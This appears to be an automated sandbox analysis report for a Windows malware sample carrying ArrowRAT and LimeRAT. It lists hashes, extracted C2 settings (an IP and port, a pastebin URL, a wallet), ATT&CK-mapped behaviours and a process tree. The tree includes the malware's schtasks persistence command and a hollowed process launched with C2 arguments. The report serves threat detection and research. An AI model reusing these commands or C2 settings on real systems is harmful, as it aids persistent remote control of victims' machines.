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2026-08-23...op.exe

windows10-2004-x64

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2026-08-23...op.exe

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/08/2026, 17:39

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General

  • Target
    2026-08-23_0a9b05da0568792c8c5de28e8efcd823_amadey_elex_glassworm_karagany_njrat_rhadamanthys_smoke-loader_stop.exe
  • Size 220KB
  • Sample260824-v8hdrsxtbz
  • SHA256 5748b46714e260c4c961c5cae19d4d82c16527b1e2cb1854d79f01ea0a830810
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
9gztcediscoveryexecutionarrowratlimeratpersistenceransomwarerat

Malware Config

Extracted

Family

  • arrowrat

Botnet

  • 9GZTCE

C2

  • 178.218.144.95:42977

Mutex

  • KVKGT2

Extracted

Family

  • limerat

Wallets

  • 3KFzYbnc9quAiYkRFPQM2aekbJujnMq21S

Attributes
  • aes_key

    AESPassword

  • antivm

    false

  • c2_url

    https://pastebin.com/raw/0dvVdMMJ

  • delay

    3

  • download_payload

    false

  • install

    true

  • install_name

    svchost.exe

  • main_folder

    AppData

  • pin_spread

    true

  • sub_folder

    \update\

  • usb_spread

    true

Extracted

Family

  • limerat

Attributes
  • antivm

    false

  • c2_url

    https://pastebin.com/raw/0dvVdMMJ

  • download_payload

    false

  • install

    false

  • pin_spread

    false

  • usb_spread

    false

Signatures

  • Family: ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Family: LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

    ratlimerat
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 46 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-23_0a9b05da0568792c8c5de28e8efcd823_amadey_elex_glassworm_karagany_njrat_rhadamanthys_smoke-loader_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-23_0a9b05da0568792c8c5de28e8efcd823_amadey_elex_glassworm_karagany_njrat_rhadamanthys_smoke-loader_stop.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:372
    • C:\CLIENT-BUILD.EXE
      "C:\CLIENT-BUILD.EXE"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1460
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 9GZTCE 178.218.144.95 42977 KVKGT2
        3⤵
          PID:4532
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 9GZTCE 178.218.144.95 42977 KVKGT2
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2604
      • C:\LIME.EXE
        "C:\LIME.EXE"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3356
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\Admin\AppData\Roaming\update\svchost.exe'"
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3172
        • C:\Users\Admin\AppData\Roaming\update\svchost.exe
          "C:\Users\Admin\AppData\Roaming\update\svchost.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3744
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:4840
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4288

    Network

          MITRE ATT&CK Enterprise v16

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          CLIENT-BUILD.EXE
          • Path C:\CLIENT-BUILD.EXE
          • Size 138KB
          • SHA256 7c102b4e37d90a86fa839ccf8019b60e9645ccdf292ac46d4ccd86f2eabc1b9e
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          LIME.EXE
          • Path C:\LIME.EXE
          • Size 28KB
          • SHA256 f039ee5446d84e470dd5f151b89e09266b63671a8791ff35b7ebd26af97c1d9b
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          AppCache134320667805382646.txt
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134320667805382646.txt
          • Size 88KB
          • SHA256 fc75c51877b4a6b1216e3d942401960f3ef9a2b5e7407476b3884f69daa780ff
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          memory/1460-31-0x00000000036C0000-0x00000000036C1000-memory.dmp
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          memory/2604-29-0x0000000006440000-0x0000000006490000-memory.dmp
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          memory/2604-20-0x0000000000400000-0x0000000000416000-memory.dmp
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          memory/2604-24-0x0000000005330000-0x00000000053C2000-memory.dmp
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          memory/2604-25-0x0000000005C00000-0x00000000061A4000-memory.dmp
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          memory/2604-26-0x0000000005B80000-0x0000000005BE6000-memory.dmp
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          memory/3356-22-0x00000000009C0000-0x00000000009CC000-memory.dmp
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          memory/3356-23-0x0000000005220000-0x00000000052BC000-memory.dmp
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          memory/3864-17-0x0000023531250000-0x0000023531278000-memory.dmp
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          memory/4288-33-0x00000154F4F40000-0x00000154F5040000-memory.dmp
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          memory/4288-51-0x00000154F5D20000-0x00000154F5D40000-memory.dmp
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          memory/4288-38-0x00000154F5D60000-0x00000154F5D80000-memory.dmp
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          memory/4288-69-0x00000154F6340000-0x00000154F6360000-memory.dmp
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